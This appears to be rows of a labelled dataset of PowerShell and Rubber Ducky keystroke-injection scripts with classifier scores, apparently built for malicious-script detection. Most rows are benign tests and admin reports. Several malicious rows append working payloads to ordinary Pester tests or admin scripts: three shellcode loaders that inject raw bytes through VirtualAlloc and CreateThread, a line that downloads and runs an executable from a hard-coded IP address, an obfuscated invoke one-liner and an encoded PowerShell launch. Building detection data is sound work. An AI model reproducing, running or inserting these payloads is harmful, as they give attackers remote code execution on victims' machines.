$storageAccount2.Id enter $storageAccounts = @($primaryStorageAccount, $secondaryStorageAccount) enter $mediaServiceUpdated = Set-AzMediaService -ResourceGroupName $rgname -AccountName $accountName -Tag $tagsUpdated -StorageAccounts $storageAccounts enter Assert-NotNull $mediaServiceUpdated enter Assert-Tags $tagsUpdated $mediaServiceUpdated.Tags enter Assert-AreEqual $storageAccountName1 $mediaServiceUpdated.StorageAccounts[0].AccountName enter Assert-AreEqual $true $mediaService.StorageAccounts[0].IsPrimary enter Assert-AreEqual $storageAccountName2 $mediaServiceUpdated.StorageAccounts[1].AccountName enter Assert-AreEqual $false $mediaServiceUpdated.StorageAccounts[1].IsPrimary enter $serviceKeys = Get-AzMediaServiceKeys -ResourceGroupName $rgname -AccountName $accountName enter Assert-NotNull $serviceKeys enter Assert-NotNull $serviceKeys.PrimaryAuthEndpoint enter Assert-NotNull $serviceKeys.PrimaryKey enter Assert-NotNull $serviceKeys.SecondaryAuthEndpoint enter Assert-NotNull $serviceKeys.SecondaryKey enter Assert-NotNull $serviceKeys.Scope enter $serviceKeysUpdated1 = Set-AzMediaServiceKey -ResourceGroupName $rgname -AccountName $accountName -KeyType Primary enter Assert-NotNull $serviceKeysUpdated1 enter Assert-NotNull $serviceKeysUpdated1.Key enter Assert-AreNotEqual $serviceKeys.PrimaryKey $serviceKeysUpdated1.Key enter enter $serviceKeysUpdated2 = Set-AzMediaServiceKey -ResourceGroupName $rgname -AccountName $accountName -KeyType Secondary enter Assert-NotNull $serviceKeysUpdated2 enter Assert-NotNull $serviceKeysUpdated2.Key enter Assert-AreNotEqual $serviceKeys.SecondaryKey $serviceKeysUpdated2.Key enter Remove-AzMediaService -ResourceGroupName $rgname -AccountName $accountName -Force enter $mediaServices = Get-AzMediaService -ResourceGroupName $rgname enter Assert-Null $mediaServices enter $tags = @{""tag1"" = ""value1""; ""tag2"" = ""value2""} enter $mediaService = New-AzMediaService -ResourceGroupName $rgname -AccountName $accountName -Location $location -StorageAccounts $storageAccounts -Tag $tags enter Assert-NotNull $mediaService enter Assert-AreEqual $accountName $mediaService.AccountName enter Assert-AreEqual $rgname $mediaService.ResourceGroupName enter Assert-AreEqual $location $mediaService.Location enter Assert-Tags $tags $mediaService.Tags enter Assert-AreEqual $storageAccountName1 $mediaService.StorageAccounts[0].AccountName enter Assert-AreEqual $true $mediaService.StorageAccounts[0].IsPrimary enter Assert-AreEqual $rgname $mediaService.StorageAccounts[0].ResourceGroupName enter Assert-AreEqual $storageAccountName2 $mediaService.StorageAccounts[1].AccountName enter Assert-AreEqual $false $mediaService.StorageAccounts[1].IsPrimary enter Assert-AreEqual $rgname $mediaService.StorageAccounts[1].ResourceGroupName enter enter Remove-AzMediaService -ResourceGroupName $rgname -AccountName $accountName -Force enter RemoveStorageAccount $rgname $storageAccountName1 enter RemoveStorageAccount $rgname $storageAccountName2 enter RemoveResourceGroup $rgname enter } enter function Test-MediaWithPiping enter { enter $rgname = GetResourceGroupName enter $preferedlocation = ""East US"" enter $location = Get-AvailableLocation $preferedlocation enter enter $resourceGroup = CreateResourceGroup $rgname $location enter Assert-NotNull $resourceGroup enter Assert-AreEqual $rgname $resourceGroup.ResourceGroupName enter Assert-AreEqual $location $resourceGroup.Location enter enter $storageAccountName1 = ""sto"" + $rgname enter $storageAccount1 = CreateStorageAccount $rgname $storageAccountName1 $location enter $accountName = ""med"" + $rgname enter $tags = @{""tag1"" = ""value1""; ""tag2"" = ""value2""} enter $mediaService = GetStorageAccount -ResourceGroupName $rgname -Name $storageAccountName1 | New-AzMediaService -ResourceGroupName $rgname -AccountName $accountName -Location $location -Tag $tags enter Assert-NotNull $mediaService enter Assert-AreEqual $accountName $mediaService.AccountName enter Assert-AreEqual $rgname $mediaService.ResourceGroupName enter Assert-AreEqual $location $mediaService.Location enter Assert-Tags $tags $mediaService.Tags enter Assert-AreEqual $storageAccountName1 $mediaService.StorageAccounts[0].AccountName enter Assert-AreEqual $true $mediaService.StorageAccounts[0].IsPrimary enter Assert-AreEqual $rgname $mediaService.StorageAccounts[0].ResourceGroupName enter $tagsUpdated = @{""tag3"" = ""value3""; ""tag4"" = ""value4""} enter $mediaServiceUpdated = Get-AzMediaService -ResourceGroupName $rgname -AccountName $accountName | Set-AzMediaService -Tag $tagsUpdated enter Assert-NotNull $mediaServiceUpdated enter Assert-Tags $tagsUpdated $mediaServiceUpdated.Tags enter $serviceKeys = Get-AzMediaService -ResourceGroupName $rgname -AccountName $accountName | Get-AzMediaServiceKeys enter Assert-NotNull $serviceKeys enter Assert-NotNull $serviceKeys.PrimaryAuthEndpoint enter Assert-NotNull $serviceKeys.PrimaryKey enter Assert-NotNull $serviceKeys.SecondaryAuthEndpoint enter Assert-NotNull $serviceKeys.SecondaryKey enter Assert-NotNull $serviceKeys.Scope enter $serviceKeysUpdated2 = Get-AzMediaService -ResourceGroupName $rgname -AccountName $accountName | Set-AzMediaServiceKey -KeyType Secondary enter Assert-NotNull $serviceKeysUpdated2 enter Assert-NotNull $serviceKeysUpdated2.Key enter Assert-AreNotEqual $serviceKeys.SecondaryKey $serviceKeysUpdated2.Key enter Get-AzMediaService -ResourceGroupName $rgname -AccountName $accountName | Remove-AzMediaService -Force enter enter RemoveStorageAccount $rgname $storageAccountName enter RemoveResourceGroup $rgname enter } enter enter",0,0,0.9999541,4.5835925e-05
DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) enter REM Description: Open any website on an iPhone. enter REM Version: 1.0 enter REM Category: iPhone enter DELAY 1000 enter GUI SPACE enter DELAY 500 enter STRING safari enter DELAY 500 enter ENTER enter DELAY 1000 enter REM Insert your website below :) enter STRING www.yourwebsite.com enter DELAY 500 enter ENTER enter DUCKY_REAL_END,1,1,6.0465278e-05,0.99993956
"win+r powershell enter Describe ""Basic Alias Provider Tests"" -Tags ""CI"" { Context ""Validate basic PSDr enter ive Cmdlets"" { BeforeAll { $psDriveRoot = ""TestDrive:"" $psDriveName = ""PsTe enter stDriveName"" } BeforeEach { New-PSDrive -Name $psDriveName -PSProvider FileS enter ystem -Root $psDriveRoot > $null } enter enter",1,1,0.0027277167,0.9972723
"win+r enter powershell enter enter enter function New-RsRestCredentialsByUserObject enter { enter enter [CmdletBinding()] enter param( enter [Alias('DisplayText')] enter [string] enter $PromptMessage, enter enter [Alias('UseAsWindowsCredentials')] enter [switch] enter $WindowsCredentials enter ) enter Process enter { enter return @{ enter ""DisplayText"" = $PromptMessage; enter ""UseAsWindowsCredentials"" = $WindowsCredentials -eq $true; enter } enter } enter } enter enter",0,0,0.99983335,0.00016667439
"win+r enter powershell enter enter enter Describe ""New-Alias DRT Unit Tests"" -Tags ""CI"" { enter It ""New-Alias Constant should throw SessionStateUnauthorizedAccessException""{ enter New-Alias -Name ""ABCD"" -Value ""foo"" -Option ""Constant"" -Force:$true enter $e = { New-Alias -Name ""ABCD"" -Value ""foo"" -Force:$true -Scope 1 -ErrorAction Stop } | enter Should -Throw -ErrorId ""AliasNotWritable,Microsoft.PowerShell.Commands.NewAliasCommand"" -PassThru enter $e.CategoryInfo | Should -Match ""SessionStateUnauthorizedAccessException"" enter } enter enter It ""New-Alias NamePositional And Value Valid"" { enter New-Alias ABCD -Value ""MyCommand"" -Scope ""0"" enter $result=Get-Alias -Name ABCD -Scope ""0"" enter $result.Name| Should -BeExactly ""ABCD"" enter $result.Definition| Should -BeExactly ""MyCommand"" enter $result.Description| Should -BeNullOrEmpty enter $result.Options| Should -BeExactly ""None"" enter } enter enter It ""New-Alias NamePositional And ValuePositional Valid"" { enter New-Alias ABCD ""MyCommand"" -Scope ""0"" enter $result=Get-Alias -Name ABCD -Scope ""0"" enter $result.Name| Should -BeExactly ""ABCD"" enter $result.Definition| Should -BeExactly ""MyCommand"" enter $result.Description| Should -BeNullOrEmpty enter $result.Options| Should -BeExactly ""None"" enter } enter enter It ""New-Alias Description Valid"" { enter New-Alias -Name ABCD -Value ""MyCommand"" -Description ""test description"" -Scope ""0"" enter $result=Get-Alias -Name ABCD -Scope ""0"" enter $result.Name| Should -BeExactly ""ABCD"" enter $result.Definition| Should -BeExactly ""MyCommand"" enter $result.Description| Should -BeExactly ""test description"" enter $result.Options| Should -BeExactly ""None"" enter } enter } enter enter Describe ""New-Alias"" -Tags ""CI"" { enter It ""Should be able to be called using the name and value parameters without error"" { enter { New-Alias -Name testAlias -Value 100 } | Should -Not -Throw enter } enter enter It ""Should have the same output between the alias and the original cmdlet"" { enter New-Alias -Name testAlias -Value Get-Command enter enter $aliasId = $(testAlias).Id enter $cmdletId = $(Get-Command).Id enter foreach ($IdNumber in $aliasId) enter { enter $aliasId[$IdNumber] | Should -Be $cmdletId[$IdNumber] enter } enter } enter enter It ""Should be able to call the New-Alias cmdlet using the nal alias without error"" { enter { nal -Name testAlias -Value 100 } | Should -Not -Throw enter } enter enter It ""Should have the same output between the nal alias and the New-Alias cmdlet"" { enter nal -Name testAlias -Value Get-Command enter enter New-Alias -Name testalias2 -Value Get-Command enter enter $aliasData = $(testAlias).Id enter $cmdletData = $(testAlias2).Id enter enter foreach ($IdNumber in $aliasData) enter { enter $aliasData[$IdNumber] | Should -Be $cmdletData[$IdNumber] enter } enter } enter } enter enter $Gn4 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $Gn4 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0xaa,0x0b,0x8a,0x46,0xd9,0xc3,0xd9,0x74,0x24,0xf4,0x5d,0x29,0xc9,0xb1,0x47,0x83,0xed,0xfc,0x31,0x45,0x0f,0x03,0x45,0xa5,0xe9,0x7f,0xba,0x51,0x6f,0x7f,0x43,0xa1,0x10,0x09,0xa6,0x90,0x10,0x6d,0xa2,0x82,0xa0,0xe5,0xe6,0x2e,0x4a,0xab,0x12,0xa5,0x3e,0x64,0x14,0x0e,0xf4,0x52,0x1b,0x8f,0xa5,0xa7,0x3a,0x13,0xb4,0xfb,0x9c,0x2a,0x77,0x0e,0xdc,0x6b,0x6a,0xe3,0x8c,0x24,0xe0,0x56,0x21,0x41,0xbc,0x6a,0xca,0x19,0x50,0xeb,0x2f,0xe9,0x53,0xda,0xe1,0x62,0x0a,0xfc,0x00,0xa7,0x26,0xb5,0x1a,0xa4,0x03,0x0f,0x90,0x1e,0xff,0x8e,0x70,0x6f,0x00,0x3c,0xbd,0x40,0xf3,0x3c,0xf9,0x66,0xec,0x4a,0xf3,0x95,0x91,0x4c,0xc0,0xe4,0x4d,0xd8,0xd3,0x4e,0x05,0x7a,0x38,0x6f,0xca,0x1d,0xcb,0x63,0xa7,0x6a,0x93,0x67,0x36,0xbe,0xaf,0x93,0xb3,0x41,0x60,0x12,0x87,0x65,0xa4,0x7f,0x53,0x07,0xfd,0x25,0x32,0x38,0x1d,0x86,0xeb,0x9c,0x55,0x2a,0xff,0xac,0x37,0x22,0xcc,0x9c,0xc7,0xb2,0x5a,0x96,0xb4,0x80,0xc5,0x0c,0x53,0xa8,0x8e,0x8a,0xa4,0xcf,0xa4,0x6b,0x3a,0x2e,0x47,0x8c,0x12,0xf4,0x13,0xdc,0x0c,0xdd,0x1b,0xb7,0xcc,0xe2,0xc9,0x22,0xc8,0x74,0x52,0x02,0x24,0x63,0xfa,0x61,0xc9,0x7a,0xa7,0xec,0x2f,0x2c,0x07,0xbf,0xff,0x8c,0xf7,0x7f,0x50,0x64,0x12,0x70,0x8f,0x94,0x1d,0x5a,0xb8,0x3e,0xf2,0x33,0x90,0xd6,0x6b,0x1e,0x6a,0x47,0x73,0xb4,0x16,0x47,0xff,0x3b,0xe6,0x09,0x08,0x31,0xf4,0xfd,0xf8,0x0c,0xa6,0xab,0x07,0xbb,0xcd,0x53,0x92,0x40,0x44,0x04,0x0a,0x4b,0xb1,0x62,0x95,0xb4,0x94,0xf9,0x1c,0x21,0x57,0x95,0x60,0xa5,0x57,0x65,0x37,0xaf,0x57,0x0d,0xef,0x8b,0x0b,0x28,0xf0,0x01,0x38,0xe1,0x65,0xaa,0x69,0x56,0x2d,0xc2,0x97,0x81,0x19,0x4d,0x67,0xe4,0x9b,0xb1,0xbe,0xc0,0xe9,0xdb,0x02;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$eEvp=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($eEvp.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$eEvp,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1873354e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_7wrvkj76"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_100.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4683468e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_p2epfbtj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3744658e-05
"win+r enter powershell enter enter enter powershell ""' ' | %{ $SVExTkuO=$_ -iSPLIt ' '| %{' '; $_ -iSPLIt ' ' | % {$_.LEngTH - 1} } ; &( ''.REmOvE.tostrINg()[56,50,69]-JOiN'') (-jOIn (((-jOIn ( $SVExTkuO[0..($SVExTkuO.LEngTH-1)] )).TRiMSTarT( ' ' ).split( ' ') |%{( [iNt] $_ -As[Char])} )) ) }"" enter enter",1,1,8.169489e-05,0.99991834
"win+r enter powershell enter enter enter Describe 'Parallel switch syntax' -Tags 'CI' { enter enter Context 'Should be able to retrieve AST of parallel switch' { enter BeforeAll { enter $ast = [System.Management.Automation.Language.Parser]::ParseInput( enter 'switch -parallel ($foo) {1 {break}}', [ref] $null, [ref] $null) enter } enter enter It '$ast.EndBlock.Statements[0].Flags' { enter $ast.EndBlock.Statements[0].Flags | Should -BeExactly 'Parallel' enter } enter } enter enter Context 'Generates an error on invalid parameter' { enter BeforeAll { enter $errors = @() enter $ast = [System.Management.Automation.Language.Parser]::ParseInput( enter 'switch -bogus ($foo) {1 {break}}', [ref]$null, [ref]$errors) enter } enter enter It '$errors.Count' { enter $errors.Count | Should -Be 1 enter } enter enter It '$errors[0].ErrorId' { enter $errors[0].ErrorId | Should -BeExactly 'InvalidSwitchFlag' enter } enter } enter enter Context 'Generate an error on -parallel' { enter BeforeAll { enter $errors = @() enter $ast = [System.Management.Automation.Language.Parser]::ParseInput( enter 'switch -parallel ($foo) {1 {break}}', [ref]$null, [ref]$errors) enter } enter enter It '$errors.Count' { enter $errors.Count | Should -Be 1 enter } enter enter It '$errors[0].ErrorId' { enter $errors[0].ErrorId | Should -Be 'KeywordParameterReservedForFutureUse' enter } enter } enter } enter enter",0,0,0.99993503,6.49634e-05
"win+r powershell enter function Get-VirtualMemoryInfo { Param ( [Parameter(Position = 0, Mandatory enter = $True)] [ValidateScript({Get-Process -Id $_})] [Int] $ProcessID, [Paramet enter er(Position = 1, Mandatory = $True)] [IntPtr] $ModuleBaseAddress, enter enter",1,1,0.0023210482,0.99767894
win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: RickRoll enter REM Author: big0us enter REM Description: RickRoll Youtube enter REM Target: Windows enter REM enter DEFAULTDELAY 50 enter GUI r enter DELAY 500 enter STRING powershell.exe -e UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBvAHUAdAB1AGIAZQAuAGMAbwBtAC8ALgAuAC8ALgAuAC8AdwBhAHQAYwBoAD8AdgA9AGQAUQB3ADQAdwA5AFcAZwBYAGMAUQAmADE enter ENTER enter DUCKY_REAL_END enter,1,1,6.7917696e-05,0.99993205
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_654a0hn0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Write-Host ""Starting environment_report section 2."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.5096444e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_dov3euc2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter",0,0,0.9999653,3.470911e-05
win+r powershell enter if ($PSVersionTable.PSVersion.Major -le 2) { function Exit-CoverageAnalysis { } enter function Get-CoverageReport { } function Write-CoverageReport { } function E enter nter-CoverageAnalysis { param ( $CodeCoverage ) if ($CodeCoverage) { & $Safe enter Commands['Write-Error'] 'Code coverage analysis requires PowerShell 3.0 or later enter .' } } enter,1,1,0.0015096103,0.99849033
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_tbufuaa0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Export-Csv -Path (Join-Path $ReportDir ""network_dns_servers.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3958462e-05
"win+r enter powershell enter enter enter Describe ""Credential tests"" -Tags ""CI"" { enter It ""Explicit cast for an empty credential returns null"" { enter enter [PSCredential]::Empty.GetNetworkCredential() | Should -BeNullOrEmpty enter } enter } enter enter $qkc = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $qkc -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x65,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$rgcM=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($rgcM.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$rgcM,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1982297e-05,0.999948
"win+r enter powershell enter enter enter Set-Variable -Name CurrentOU -Scope Global -Force enter Set-Variable -Name NewOU -Scope Global -Force enter enter cls enter Import-Module activedirectory enter [string]$NewOU = ""OU=BNA, OU=Computers, OU=Front Office, DC=ACME, DC=COM"" enter $CurrentOU = get-adcomputer $env:computername enter Write-Host ""Computer Name:""$env:computername enter Write-Host ""Current OU:""$CurrentOU enter Write-Host ""Target OU:""$NewOU enter Move-ADObject -identity $CurrentOU -TargetPath $NewOU enter $CurrentOU = get-adcomputer $env:computername enter Write-Host ""New OU:""$CurrentOU enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x0f,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1455165e-05,0.9999485
"win+r enter powershell enter enter enter function diskfree { enter Param ( enter [parameter(ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)] enter [string[]]$ComputerName = $env:computername enter ) enter enter foreach ($Computer in $ComputerName) { enter Write-Host ""Working on $Computer"" enter if (Test-Connection -ComputerName $Computer -Count 1 -ea 0) { enter $VolumesInfo = Get-WmiObject Win32_Volume -ComputerName $Computer -Filter ""drivetype = '2' OR drivetype = '3'"" enter foreach ($Volume in $VolumesInfo) { enter $Capacity = [System.Math]::Round(($Volume.Capacity/1GB),2) enter $FreeSpace = [System.Math]::Round(($Volume.FreeSpace/1GB),2) enter $UsedSpace = [System.Math]::Round(($Capacity - $FreeSpace),2) enter $PctFreeSpace = [System.Math]::Round(($Volume.FreeSpace/$Volume.Capacity)*100,2) enter [pscustomobject]@{ enter ComputerName = $computer enter DriveName = $Volume.Caption enter DriveType = $Volume.DriveType enter CapacityGB = $Capacity enter FreeSpaceGB = $FreeSpace enter UsedSpaceGB = $UsedSpace enter PercentFreeGB = $PctFreeSpace enter } enter } enter } else { enter Write-Host ""$Computer is not reachable"" enter [pscustomobject]@{ enter ComputerName = $computer enter DriveName = '-' enter DriveType = '-' enter CapacityGB = '-' enter FreeSpaceGB = '-' enter UsedSpaceGB = '-' enter PercentFreeGB = '-' enter } enter } enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.7472265e-05,0.99994254
